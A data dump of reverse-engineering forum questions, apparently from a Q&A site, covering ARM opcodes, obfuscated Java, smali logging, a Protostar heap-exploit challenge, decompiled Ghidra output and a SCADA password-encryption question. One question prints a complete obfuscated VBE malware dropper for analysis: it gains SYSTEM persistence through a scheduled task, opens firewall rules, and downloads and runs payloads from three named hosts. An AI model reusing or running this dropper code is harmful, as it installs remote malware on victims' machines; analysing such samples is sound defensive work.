+ +The closest I could find is: creating your own syntax files in Vim (which is rather simple and editors-oriented, so the users could edit files with comfort) and TrID headers (which are limited to the headers only) +" +"['assembly', 'arm', 'arm64']"," Title: ARMv8 (AArch64, ARM64) opcodes listBody: I'm sorry for such as questions where answer would seem to be easily searched in google... + +Some time ago I have seen table/list of ARMv8 instructions with opcodes and it was perfect, but I lost link. Now I'm trying to find at least some sources where opcodes of instructions listed and can't. + +There're some C headers, where opcodes defined in non-readable form, lot of different scientific publications with 1k+ pages (containing no opcodes), etc., but I can't find simple list. + +Could somebody point me? +" +"['obfuscation', 'java', 'deobfuscation']"," Title: Dealing with heavily obfuscated Java, possibly on bytecode levelBody: I've got a jarfile from a friend, he told me to put it thru an decompiler. So I did, but: + + + +Albeit all of that, I tried to execute it on a virtual machine - and it works! I'm literally swept off my knees looking at what happened there, and I believe this may be a fragment of code that is simply un-decompilable. I also did analyze the class file by hand, but everything seemed so contradictionary I eventually gave up. And, what is more interesting, I tried to use it along with multiple JRE versions starting with Java 13 and ending with Java 8 it worked in practice everywhere and I can't believe it. + +The jar file. + +I've also uploaded the CFR output (it's hillarious). I don't know really much about the obfuscator and the person who sent me the jar refuses to provide the further information, but I've got permission for redistributing and obviously decompiling it. Last bit of information I've got is the fact that the obfuscator is supposedly public and free-to-use, but I refuse to believe it (it could be though, unless I've been a victim of bluffing). + +How do I even tackle that? How is this, that the jar-file is almost completely obfuscated up until this point all the tooling that exists nowadays has severe problems with even outputting the bytecode assembly? It's not a very confidental piece of code and I'd most probably throw it away and forget about it, but I'm so curious on how it works, I've spent around two days trying to figure it out. + +Thanks in advance for any help. +" +"['binary-analysis', 'tools']"," Title: Tools for statistical analysis of binary streamsBody: I'm in the process of decoding the semantics of an unknown binary stream1. I've come to a point where I understand the overall structure: A tag byte, followed by a size field, and a blob of bytes of that size, e.g. 80 02 42 0a (type: 0x80, size: 2 bytes, data: 66, 10). + +To help me drill deeper I'm looking for a tool that allows me to extract the individual chunks of data, run queries against those, and arbitrarily transform the results. I'm looking for simple queries (like ""all packets with a specific tag""), but also need more complex filters (e.g. ""distribution of all size values for packets with a specific tag""). + +Are there any tools that allow me to easily perform those queries, given the following requirement? + + + +
+ +1 The data is streamed off of an embedded device. I have access to fully self-contained chunks of that data as binary files. +" +['c']," Title: I'm looking for a list of C vulnerabilities like OWASP Top 10Body: I'm looking for a list of all vulnerabilities that can be present in C so I can practice them all. + +I found this: Category:C/C++, but it's not of much use. +" +"['windows', 'ghidra', 'pe-resources']"," Title: Reverse old win32 app to find encryption vulnerabilityBody: I’m trying to reverse engineer an old win32 application used on SCADA and ICS (Industrial Control Systems). This app has a silly encryption function to protect the user password to prevent unauthorized access. I’m pretty sure this encryption is easy to reverse as its maximum size is 10 chars. It’s probably doing some ROT with XOR, but instead of trying to guess what it does, I’m trying to reverse the software with Ghidra and take a look at the encryption function. + +The problem is that I couldn’t find any suspicious function on the dlls that the app imports. So I’m trying to look for strings on the dialog box that encrypts the password. However all dialogs of this program are stored on a resource section of a dll (it seems that they provided different dlls for different languages). When I open this dll on Ghidra I can see the strings, but I can’t find which function calls them. Using ResEdit I managed to get the IDs of the dialog box and of the strings, but how can I match these IDs with the functions that call them? Is there a way to do it with static analysis only or will I need to use OllyDbg? Also, to make it worse, the dlls that contains the strings and dialog boxes isn’t listed in the import section of the main .exe neither on any import section of any of the imported dlls. I managed to actually find the function of the main .exe that dynamically imports the resource dll. I guess this would make it harder to find the match with static analysis only right? Any hints? Thanks! +" +['android']," Title: Adding my own logging function in SmaliBody: I am trying to logcat the parameters of a function in smali with my own function. I made a new Android studio project and wrote the function then used APKtool to retrieve the Smali file. +This is my function: +
.method public userFunction(II)V
+    .locals 2
+    .param p1, "a"    # I
+    .param p2, "b"    # I
+
+    .line 28
+    invoke-static {p1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
+
+    move-result-object v0
+
+    const-string v1, "Message"
+
+    invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
+
+    return-void
+.end method
+
+As you can see, it takes two integers and then logs one (forget for now that the other integer is unused). +This is the Android studio code I used to write the above function in Java. +
    public void sendMessage(View view)
+    {
+        userFunction(3,2);
+    }
+
+    public void userFunction(int a, int b)
+    {
+        Log.d("Message", Integer.toString(a));
+    }
+
+Now what I can't make sense of, is how to call this function in Smali. My problem may be that I am testing this within a button. The sendMessage is an Onclick method for testing purposes and all it does is perform the userfunction. +My reasoning behind this is that the method call in Smali ends up being +
invoke-virtual {p0, v0, v1}, Lcom/example/froggyfresh/MainActivity;->userFunction(II)V
+
+From what I read, I believe the p0 to be the object calling the function. So I'm not sure how to call the function from within another method that is in the project I am trying to debug. +Is there a work around for this, to create some generic function to log the values? +The issue I get when using p0 in the APK I am trying to debug is APKtool gives me this error: +
+C:\Users\Dell\Desktop>apktool b base
+I: Using Apktool 2.4.1
+I: Checking whether sources has changed...
+I: Smaling smali folder into classes.dex...
+base\smali\funproject.smali[5059,1] Invalid register: v29. Must be between v0 and v15, inclusive.
+Could not smali file: funproject.smali +
+I know that the p0 is a parameter register and that the parameters are stored in the final v(insertnumberhere) register. So I can make sense of the error but not sure how to go about fixing the issue. +" +"['binary-analysis', 'dynamic-linking', 'plt']"," Title: Questions regarding PLT/GOT and statically linkingBody: I am looking at the assembly code of a heap-overflow challenge (heap3 in Protostar) which uses a vulnerability of an old version of dlmalloc to execute the exploit. Below is the assembler dump: + +
0x08048889 <main+0>:    push   ebp
+0x0804888a <main+1>:    mov    ebp,esp
+0x0804888c <main+3>:    and    esp,0xfffffff0
+0x0804888f <main+6>:    sub    esp,0x20
+0x08048892 <main+9>:    mov    DWORD PTR [esp],0x20
+0x08048899 <main+16>:   call   0x8048ff2 <malloc>
+0x0804889e <main+21>:   mov    DWORD PTR [esp+0x14],eax
+0x080488a2 <main+25>:   mov    DWORD PTR [esp],0x20
+0x080488a9 <main+32>:   call   0x8048ff2 <malloc>
+0x080488ae <main+37>:   mov    DWORD PTR [esp+0x18],eax
+0x080488b2 <main+41>:   mov    DWORD PTR [esp],0x20
+0x080488b9 <main+48>:   call   0x8048ff2 <malloc>
+0x080488be <main+53>:   mov    DWORD PTR [esp+0x1c],eax
+0x080488c2 <main+57>:   mov    eax,DWORD PTR [ebp+0xc]
+0x080488c5 <main+60>:   add    eax,0x4
+0x080488c8 <main+63>:   mov    eax,DWORD PTR [eax]
+0x080488ca <main+65>:   mov    DWORD PTR [esp+0x4],eax
+0x080488ce <main+69>:   mov    eax,DWORD PTR [esp+0x14]
+0x080488d2 <main+73>:   mov    DWORD PTR [esp],eax
+0x080488d5 <main+76>:   call   0x8048750 <strcpy@plt>
+0x080488da <main+81>:   mov    eax,DWORD PTR [ebp+0xc]
+0x080488dd <main+84>:   add    eax,0x8
+0x080488e0 <main+87>:   mov    eax,DWORD PTR [eax]
+0x080488e2 <main+89>:   mov    DWORD PTR [esp+0x4],eax
+0x080488e6 <main+93>:   mov    eax,DWORD PTR [esp+0x18]
+0x080488ea <main+97>:   mov    DWORD PTR [esp],eax
+0x080488ed <main+100>:  call   0x8048750 <strcpy@plt>
+0x080488f2 <main+105>:  mov    eax,DWORD PTR [ebp+0xc]
+0x080488f5 <main+108>:  add    eax,0xc
+0x080488f8 <main+111>:  mov    eax,DWORD PTR [eax]
+0x080488fa <main+113>:  mov    DWORD PTR [esp+0x4],eax
+0x080488fe <main+117>:  mov    eax,DWORD PTR [esp+0x1c]
+0x08048902 <main+121>:  mov    DWORD PTR [esp],eax
+0x08048905 <main+124>:  call   0x8048750 <strcpy@plt>
+0x0804890a <main+129>:  mov    eax,DWORD PTR [esp+0x1c]
+0x0804890e <main+133>:  mov    DWORD PTR [esp],eax
+0x08048911 <main+136>:  call   0x8049824 <free>
+0x08048916 <main+141>:  mov    eax,DWORD PTR [esp+0x18]
+0x0804891a <main+145>:  mov    DWORD PTR [esp],eax
+0x0804891d <main+148>:  call   0x8049824 <free>
+0x08048922 <main+153>:  mov    eax,DWORD PTR [esp+0x14]
+0x08048926 <main+157>:  mov    DWORD PTR [esp],eax
+0x08048929 <main+160>:  call   0x8049824 <free>
+0x0804892e <main+165>:  mov    DWORD PTR [esp],0x804ac27
+0x08048935 <main+172>:  call   0x8048790 <puts@plt>
+0x0804893a <main+177>:  leave
+0x0804893b <main+178>:  ret
+End of assembler dump.
+
+ +Now looking at the assembler dump what I can understand is malloc() and free() are linked to the binary statically, while strcpy() and puts() are linked using PLT. + +When I try to compile this program using it's source code, I get malloc@plt and free@plt, which when compiled on my local machine uses the wrong version of dlmalloc. The challenge is compiled and placed on a Debian distribution which we have to boot up in order to try this challenge but I would like to try it on my local machine. Can someone explain how I will be able to compile it so that malloc() and free() are statically linked with the binary. +" +['python']," Title: Help to understand what's inside base64 stringBody: While performing a file upload, a template parameter is sent together with file. Service acts differently when different parameters are passed. +I need help to figure out what this parameter contains. +Here are two examples: + +7b0fc4f83d3fc320ef3865a1b472caeba3f0b60e09f257c61f34af77a7ff57adTB5QO8kXU18KUIgZGXblGYAOC7qbRzizHLGpGdUPbywggHncAkwJVe4M/0w7Dy9svucGrEgYbud0OY5iCFlTalho9j9SWzGMXlWjqU0wrFApBh+/Rqy8v93q1gBlpwLsuj7WBppuWItBmhoOyxkyKLv8Vm6AVVeXxndd4kklq+E= - allows uploading any file + +8849c262187451b5f558f4c2f150ec67efaafc192f51b1b8983754090e0c767bb+5SL0SVpqqHUB7zPYvNzEMSanK9r2uL7xUe/TK+9rofXD6gqQpsIKB2P7aECihmfEwEdQaLG6Kz3W5B1wiwxZRbdutdBbRYClAAoZ/bhaTdm2VnPBVZKuisi3cVVM91p2/pjb/qSPor7/026fq9PitSBizAtSbf858/BcTu7sw=H2pFMj+uoRaSnqqPdNbdrZzh3AF9H0uhagE9V7R6V8Ed67HFvGYS/Cg9DReGtlj1n1HtjpV14qqfYt5l/tVesG2B/Xh84tkr14t/RgTUA7cXwn3bWEWUcjxCFWlmAs2RXLs6g1Up3e/g4rolmGO8JAbFwRXWhFQQvZMx1+D5tjM=Tie6y7lK/q6Vlw9ssVYUYDP5Il5dYZxGPtkJSkaOPNGjkin81azLZFdtU7K6wUBcHYOoZzhthYdFMIK8K30UMGPMQI9/d4AKJsATT1PXaw/A1bjkMnapCdJl4IWGNs55IgHEs6mMPENlBuVodjQXJNodIkXOFa+I+q+MlGu0Rls= - allows uploading only images + +My guess is that this is a serialized object that contains upload configuration. Are there any ideas how to understand and maybe deserialize these strings? +" +"['tools', 'file-format', 'obfuscation', 'deobfuscation', 'javascript']"," Title: De-obfuscate JS codeBody: I came across a script that converts font files from one type to another (i.e. WOFF to TTF, etc). + +I would like to understand it and incorporate some of the code into a personal project. The script was written in JS and uses Web Assembly and Web Workers. I am not at all familiar with Web Assembly or Web Workers, but I would like to at least understand what the JS is doing. + +It was minified and unfortunately obfuscated. I unminified it, but I have no idea how to de-obfuscate it. I have never really reverse engineered something so elaborate like this before. + +Are there any tools on the web that will at least try to de-obfuscate (i.e. assign placeholder names to single character variables, arguments, parameters, etc) the code? + +Are there any other useful tools or anything else that I should know about? + +P.S. I just found this resource. +" +"['malware', 'static-analysis', 'deobfuscation']"," Title: Obfuscated VBE malware script analysisBody: Some actions of this script are clear e.g. the section that adds firewall rules, others not so much + +
On Error Resume Next
+
+F27
+F10
+A0
+DBCF
+
+Sub F27()
+    Dim E13C563AFCB34, C0009B48F34B, C8, BEBE2817704748838CC96E, B37C
+    With CreateObject(""WScript.Shell"")
+        C0009B48F34B = Replace(Mid(CreateObject(""Scriptlet.TypeLib"").Guid, 2, 36), ""-"", """")
+        E13C563AFCB34 = .Environment(""process"")(""appdata"") & ""\"" & Replace(Mid(CreateObject(""Scriptlet.TypeLib"").Guid, 2, 36), ""-"", """") & ""\""
+        With CreateObject(""Scripting.FileSystemObject"")
+            C8 = .GetParentFolderName(WScript.ScriptFullName) & ""\""
+            BEBE2817704748838CC96E = ""."" & .GetExtensionName(WScript.ScriptFullName)
+            EA E13C563AFCB34
+            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII
+                B37C = .ReadAll
+                .Close
+            End With
+            If LCase(BEBE2817704748838CC96E) = "".vbe"" Then
+                B37C = B64C32BB17144(B37C)
+                B37C = FA2(B37C)
+                B37C = C87E(B37C)
+            Else
+                B37C = FA2(B37C)
+            End If
+            With .OpenTextFile(E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E, 2, True, -1)
+                .Write B37C
+                .Close
+            End With
+            .DeleteFile WScript.ScriptFullName, True
+            With .GetFolder(C8)
+                If .Files.Count = 0 And .SubFolders.Count = 0 Then
+                    .Delete True
+                End If
+            End With
+        End With
+        .Run ""schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr """""" & E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E & """""" /f /rl highest"", 0, True
+    End With
+End Sub
+
+Sub EA(D9CC7)
+    With CreateObject(""Scripting.FileSystemObject"")
+        If Not .FolderExists(D9CC7) Then
+            EA .GetParentFolderName(D9CC7)
+            .CreateFolder D9CC7
+            With .GetFolder(D9CC7)
+                .Attributes = .Attributes Or 2
+            End With
+        End If
+    End With 
+End Sub
+
+Sub F10()
+    E306B ""WindowsIndexerCoreUpdate"", WScript.FullName
+End Sub
+
+Sub E306B(B2D50C09F74D4D98929, F442D4A1)
+    With CreateObject(""WScript.Shell"")
+        .Run ""netsh advfirewall firewall add rule name="""""" & B2D50C09F74D4D98929 & """""" dir=in action=allow description="""""" & B2D50C09F74D4D98929 & """""" program="""""" & F442D4A1 & """""" enable=yes"", 0, True
+        .Run ""netsh advfirewall firewall add rule name="""""" & B2D50C09F74D4D98929 & """""" dir=out action=allow description="""""" & B2D50C09F74D4D98929 & """""" program="""""" & F442D4A1 & """""" enable=yes"", 0, True
+    End With 
+End Sub
+
+Sub A0()
+    Dim CECCA989
+    Do
+        For Each CECCA989 In Array(""facebook.com"", ""google.com"", ""youtube.com"", ""vk.com"", ""yahoo.com"", ""live.com"", ""instagram.com"")
+            With GetObject(""winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='"" & CECCA989 & ""'"")
+                Select Case True
+                    Case IsNull(.StatusCode)
+                    Case .StatusCode <> 0
+                    Case Else Exit Sub
+                End Select
+            End  With
+        Next
+        WScript.Sleep 10000
+    Loop
+End Sub
+
+Sub DBCF()
+    Dim CECCA989, F442D4A1, AEF, C
+    F442D4A1 = CreateObject(""WScript.Shell"").Environment(""process"")(""temp"") & ""\steam.vbe""
+    For Each CECCA989 In Array(_
+        ""http://gmfordown.com/game.log"", _
+        ""http://tor4games.com/steam.lock"", _
+        ""http://dvx2videofr.com/pack.dll"")
+        CE9FC81B15 CECCA989, F442D4A1, AEF, C
+        If AEF = 200 And C = 0 Then Exit For
+    Next
+    If IsEmpty(CECCA989) Then Exit Sub
+    If LCase(Right(F442D4A1, 4)) = "".exe"" Then E306B ""WindowsGenericCoreUpdate"", F442D4A1
+    CreateObject(""WScript.Shell"").Run F442D4A1, 0, True
+End Sub
+
+Sub CE9FC81B15(CECCA989, F442D4A1, AEF, C)
+    Dim C5A1C339
+    On Error Resume Next
+    C = 0
+    With CreateObject(""MSXML2.XMLHTTP"")
+        .Open ""GET"", CECCA989, False
+        .Send
+        AEF = .status
+        If AEF <> 200 Then Exit Sub
+        C5A1C339 = .responseBody
+    End With
+    C = Err.Number
+    If C <> 0 Then Exit Sub
+    With CreateObject(""Scripting.FileSystemObject"")
+        If .FileExists(F442D4A1) Then .DeleteFile F442D4A1, True
+    End With
+    C = Err.Number
+    If C <> 0 Then Exit Sub
+    With CreateObject(""ADODB.Stream"")
+        .Type = 1
+        .Open
+        .Write C5A1C339
+        .SaveToFile F442D4A1, 2
+        .Close
+    End With
+    C = Err.Number
+End Sub
+
+Function FA2(ByVal D9FF4E5DA8)
+
+    Dim D9, CCD2479A6F784D5E9B13C7D, C01A, CD10282927844, C1, CA2C09B1068, DE, D3, E5, B1723AC3, CB59D564B, B39C9BDF
+
+    Set D9 = CreateObject(""Scripting.Dictionary"")
+    Set CCD2479A6F784D5E9B13C7D = CreateObject(""Scripting.Dictionary"")
+    Set C01A = CreateObject(""Scripting.Dictionary"")
+    With New RegExp
+        .IgnoreCase = True
+        .Multiline = True
+        .Pattern = ""(?:""""(?:""""""""|[^""""\n])*?""""(?!""""))""
+        CD10282927844 = 0
+        Do
+            Set C1 = .Execute(D9FF4E5DA8)
+            If C1.Count = 0 Then Exit Do
+            Do
+                CA2C09B1068 = ""%"" & CD10282927844 & ""%""
+                If Instr(D9FF4E5DA8, CA2C09B1068) = 0 Then Exit Do
+                CD10282927844 = CD10282927844 + 1
+            Loop
+            D9FF4E5DA8 = .Replace(D9FF4E5DA8, CA2C09B1068)
+            CCD2479A6F784D5E9B13C7D(CA2C09B1068) = C1(0).Value
+        Loop
+        D9FF4E5DA8 = Replace(D9FF4E5DA8, "":"", vbCrLf & "":"" & vbCrLf)
+        .Global = True
+        .Pattern = ""(\bthen )(.+)""
+        D9FF4E5DA8 = .Replace(D9FF4E5DA8, ""$1"" & vbCrLf & Chr(0) & vbCrLf & ""$2"")
+        .Pattern = ""^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D9(DE.SubMatches(0)) = """"
+            D3 = DE.SubMatches(1)
+            With New RegExp
+                .Global = True
+                .IgnoreCase = True
+                .Pattern = ""(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*""
+                For Each E5 In .Execute(D3)
+                    D9(E5.SubMatches(0)) = """"
+                Next
+            End With
+        Next
+        .Pattern = ""^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D3 = DE.SubMatches(0)
+            With New RegExp
+                .Global = True
+                .IgnoreCase = True
+                .Pattern = ""\([^\(]*?\)""
+                Do While .Test(D3)
+                    D3 = .Replace(D3, """")
+                Loop
+            End With
+            For Each B1723AC3 In Split(D3, "","")
+                D9(Trim(B1723AC3)) = """"
+            Next
+        Next
+        .Pattern = ""^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D9(DE.SubMatches(0)) = """"
+        Next
+        .Pattern = ""^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D9(DE.SubMatches(0)) = """"
+        Next
+        .Pattern = ""^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D9(DE.SubMatches(0)) = """"
+        Next
+        .Pattern = ""^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)""
+        For Each DE In .Execute(D9FF4E5DA8)
+            D9(DE.SubMatches(0)) = """"
+        Next
+        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & Chr(0) & vbCrLf, """")
+        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & "":"" & vbCrLf, "":"")
+        Randomize
+        CD10282927844 = 0
+        C01A("""") = """"
+        For Each CB59D564B In D9
+            .Pattern = ""\b"" & CB59D564B & ""\b""
+            Do
+                B39C9BDF = Left(Replace(Mid(CreateObject(""Scriptlet.TypeLib"").Guid, 2, 36), ""-"", """"), 32 * Rnd * Rnd ^ 8 + 1)
+                Do While IsNumeric(Left(B39C9BDF, 1))
+                    B39C9BDF = Mid(B39C9BDF, 2)
+                Loop
+                If Not (C01A.Exists(B39C9BDF) Or D9.Exists(B39C9BDF)) Then
+                    C01A(B39C9BDF) = """"
+                    Exit Do
+                End If
+            Loop
+            D9FF4E5DA8 = .Replace(D9FF4E5DA8, B39C9BDF)
+            D9(CB59D564B) = B39C9BDF
+            CD10282927844 = CD10282927844 + 1
+        Next
+        .Global = False
+        .Pattern = ""(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))""
+        Do
+            Set C1 = .Execute(D9FF4E5DA8)
+            If C1.Count = 0 Then Exit Do
+            CA2C09B1068 = C1(0).SubMatches(1)
+            CB59D564B = CCD2479A6F784D5E9B13C7D(CA2C09B1068)
+            CB59D564B = Mid(CB59D564B, 2, Len(CB59D564B) - 2)
+            If D9.Exists(CB59D564B) Then
+                D9FF4E5DA8 = .Replace(D9FF4E5DA8, ""$1"""""" & D9(CB59D564B) & """"""$3"")
+            Else
+                D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
+            End If
+        Loop
+        For Each CA2C09B1068 In CCD2479A6F784D5E9B13C7D
+            D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
+        Next
+    End With
+    FA2 = D9FF4E5DA8
+
+End Function
+
+Function C87E(E00CD)
+
+    Dim E0841EA011
+
+    set E0841EA011 = CreateObject(""Scripting.Encoder"")
+    E00CD = E0841EA011.EncodeScriptFile("".vbs"", E00CD, 0, """")
+    If Asc(Right(E00CD, 1)) = 0 Then E00CD = Left(E00CD, Len(E00CD) - 1)
+    C87E = E00CD
+
+End Function
+
+Function B64C32BB17144(E00CD)
+
+    Dim F7C49787803847
+    Dim AF5716
+
+    Do
+        AF5716 = 0
+        F7C49787803847 = InStr(E00CD, ""#@~^"")
+        If F7C49787803847 > 0 Then
+            If InStr(F7C49787803847, E00CD, ""=="") - F7C49787803847 = 10 Then
+                AF5716 = InStr(F7C49787803847, E00CD, ""==^#~@"")
+                If AF5716 > 0 Then
+                    E00CD = _
+                        Left(E00CD, F7C49787803847 - 1) & _
+                        E6168(Mid(E00CD, F7C49787803847 + 12, AF5716 - F7C49787803847 - 12 - 6)) & _
+                        Mid(E00CD, AF5716 + 6)
+                End If
+            End If
+        End If
+    Loop Until AF5716 = 0
+    B64C32BB17144 = E00CD
+
+End Function
+
+Function E6168(E00CD)
+
+    Const FE2573C60644DC = ""1231232332321323132311233213233211323231311231321323112331123132""
+
+    Dim E0841EA011, CD10282927844, A0, D1619D105014E6, D383AB927646D, BA
+    Dim B1990EE1E94(127)
+
+    Set E0841EA011 = WSCript.CreateObject(""Scripting.Encoder"")
+    For CD10282927844 = 9 To 127
+        B1990EE1E94(CD10282927844) = ""JLA""
+    Next
+    For CD10282927844 = 9 To 127
+        BA = Mid(E0841EA011.EncodeScriptFile("".vbs"", String(3, CD10282927844), 0, """"), 13, 3)
+        For D1619D105014E6 = 1 To 3
+            A0 = Asc(Mid(BA, D1619D105014E6, 1))
+            B1990EE1E94(A0) = Left(B1990EE1E94(A0), D1619D105014E6 - 1) & Chr(CD10282927844) & Mid(B1990EE1E94(A0), D1619D105014E6 + 1)
+        Next
+    Next
+    B1990EE1E94(42) = Left(B1990EE1E94(42), 1) & "")"" & Right(B1990EE1E94(42), 1)
+    E00CD = Replace(Replace(E00CD, ""@&"", Chr(10)), ""@#"", Chr(13))
+    E00CD = Replace(Replace(E00CD, ""@*"", "">""), ""@!"", ""<"")
+    E00CD = Replace(E00CD, ""@$"", ""@"")
+    D383AB927646D = -1
+    For CD10282927844 = 1 To Len(E00CD)
+        A0 = Asc(Mid(E00CD, CD10282927844, 1))
+        If A0 < 128 Then D383AB927646D = D383AB927646D + 1
+        If (A0 = 9) Or ((A0 > 31) And (A0 < 128)) Then
+            If (A0 <> 60) And (A0 <> 62) And (A0 <> 64) Then
+                E00CD = _
+                    Left(E00CD, CD10282927844 - 1) & _
+                    Mid(B1990EE1E94(A0), Mid(FE2573C60644DC, (D383AB927646D Mod 64) + 1, 1), 1) & _
+                    Mid(E00CD, CD10282927844 + 1)
+            End If
+        End If
+    Next
+    E6168 = E00CD
+
+End Function
+
+
+C9B0C270511241EBBF8 ""https://2no.co/177Ky7""
+Function C9B0C270511241EBBF8(F3)
+Dim B3996
+Set B3996 = CreateObject(""MSXML2.ServerXMLHTTP"")
+B3996.setTimeouts 0, 0, 0, 0
+B3996.Open ""GET"", F3, False
+B3996.send
+C9B0C270511241EBBF8 = B3996.responseText
+Set B3996 = Nothing
+End Function
+
+" +['x86']," Title: strtok called on char pointer at 0Body: I'm working on a larger reversing project and came across this segment. I don't really understand what's going on here. There is no other way to proceed along the flow of control besides bypassing this block and jumping to 0x400d2d. Also noting that there are other locations in this program that call strtok with ""reasonable"" arguments, and I've bypassed those sections correctly. Would anyone share some wisdom I'm lacking? Thank you! + +
mov     esi, 0x401018  // delimiter argument '\'
+mov     edi, 0x0       // address at 0? doesn't make sense
+call    strtok
+mov     qword [rbp-0x48], rax  // this is always going to return 0
+cmp     qword [rbp-0x48], 0x0  
+jne     0x400d2d // want to jump here, but can't
+
+" +"['decompilation', 'ghidra', 'command-line']"," Title: How do I read this decompiled code?Body: I want to know what command line arguments are accepted by an application. I have decompiled it using Ghidra and found a function called ParseCommandLine, but I don't understand what it is doing. I expected it to compare each option to some strings to determine what it is, but it looks like gibberish. + +How can I figure out what the below code is doing? Or is there a better way to figure out what command line options are available? + +Additional context: I'm using a Macbook, and the application is the first Jackbox Party Pack. I want to see if I can launch one of the games directly without opening their game selector. + +Code: + +
/* WARNING: Could not reconcile some variable overlaps */
+/* Scaleform::Platform::Args::ParseCommandLine(int, char**) */
+
+undefined8 __thiscall ParseCommandLine(Args *this,int param_1,char **param_2)
+
+{
+  int *piVar1;
+  uint uVar2;
+  ulong uVar3;
+  ulong uVar4;
+  char *pcVar5;
+  long lVar6;
+  bool bVar7;
+  ulong *puVar8;
+  long *plVar9;
+  byte bVar10;
+  int iVar11;
+  char *pcVar12;
+  undefined *puVar13;
+  undefined *puVar14;
+  ulong uVar15;
+  undefined8 *puVar16;
+  RefCountImpl *this_00;
+  long lVar17;
+  long *plVar18;
+  undefined8 uVar19;
+  long *plVar20;
+  uint **ppuVar21;
+  char *pcVar22;
+  char **ppcVar23;
+  char **ppcVar24;
+  long lVar25;
+  ulong local_78;
+  char **local_70;
+  int local_68;
+  uint local_64;
+  char **local_60;
+  char **local_58;
+  char **local_50;
+  char **local_48;
+  ulong local_40;
+  long *local_38;
+
+  local_40 = (ulong)(param_1 - 1U);
+  local_38 = (long *)this;
+  if (param_1 - 1U != 0 && 0 < param_1) {
+    pcVar12 = PTR_vtable_10094f650 + 0x10;
+    puVar13 = PTR_vtable_10094f710 + 0x10;
+    puVar14 = PTR_vtable_10094f648 + 0x10;
+    local_68 = 0;
+    do {
+      ppcVar24 = param_2 + 1;
+      pcVar22 = param_2[1];
+      if (*pcVar22 == '-') {
+        ppcVar23 = (char **)(pcVar22 + 1);
+        local_60 = param_2;
+        iVar11 = _prompt_string(ppcVar23,""psn_"",4);
+        param_2 = ppcVar24;
+        if (iVar11 != 0) {
+          local_50 = ppcVar23;
+          String((String *)&local_78,(char *)ppcVar23);
+          local_58 = (char **)((ulong)local_58 & 0xffffffff00000000 | (ulong)(uint)param_1);
+          if (((long *)this)[6] != 0) {
+            uVar15 = BernsteinHashFunctionCIS
+                               ((void *)((long)(ulong *)(local_78 & 0xfffffffffffffffc) + 0xc),
+                                *(ulong *)(local_78 & 0xfffffffffffffffc) & 0x7fffffffffffffff,
+                                0x1505);
+            lVar17 = ((long *)this)[6];
+            uVar15 = uVar15 & *(ulong *)(lVar17 + 8);
+            if ((*(long *)(lVar17 + 0x10 + uVar15 * 0x28) != -2) &&
+               (*(ulong *)(lVar17 + 0x18 + uVar15 * 0x28) == uVar15)) {
+              puVar8 = (ulong *)(lVar17 + 0x10 + uVar15 * 0x28);
+              local_48 = (char **)((local_78 & 0xfffffffffffffffc) + 0xc);
+              uVar3 = puVar8[1];
+              uVar4 = uVar15;
+              while ((uVar3 != uVar15 ||
+                     (iVar11 = _default_RAND_meth((puVar8[2] & 0xfffffffffffffffc) + 0xc,local_48),
+                     iVar11 != 0))) {
+                uVar4 = *puVar8;
+                if (uVar4 == 0xffffffffffffffff) goto LAB_1006b2610;
+                puVar8 = (ulong *)(lVar17 + 0x10 + uVar4 * 0x28);
+                uVar3 = puVar8[1];
+              }
+              if (-1 < (long)uVar4) {
+                lVar25 = *(long *)(lVar17 + 0x28 + uVar4 * 0x28);
+                local_48 = *(char ***)(lVar17 + 0x30 + uVar4 * 0x28);
+                bVar7 = true;
+                goto LAB_1006b261b;
+              }
+            }
+          }
+LAB_1006b2610:
+          lVar25 = 0;
+          local_48 = (char **)0x0;
+          bVar7 = false;
+LAB_1006b261b:
+          LOCK();
+          piVar1 = (int *)((local_78 & 0xfffffffffffffffc) + 8);
+          *piVar1 = *piVar1 + -1;
+          if (*piVar1 == 0) {
+            (**(code **)(*pGlobalHeap + 0x68))();
+          }
+          if (!bVar7) {
+            __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                      (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE
+                       ,""Unknown option : %s \n"",local_50);
+          }
+          uVar2 = *(uint *)(*local_38 + 0x10 + lVar25 * 0x28);
+          bVar10 = (byte)uVar2 & 0xf;
+          if (bVar10 == 1) {
+            local_40._0_4_ = (int)local_58 - 2;
+            if ((uint)local_40 == 0 || SCARRY4((int)local_58,-2) != (int)(uint)local_40 < 0) {
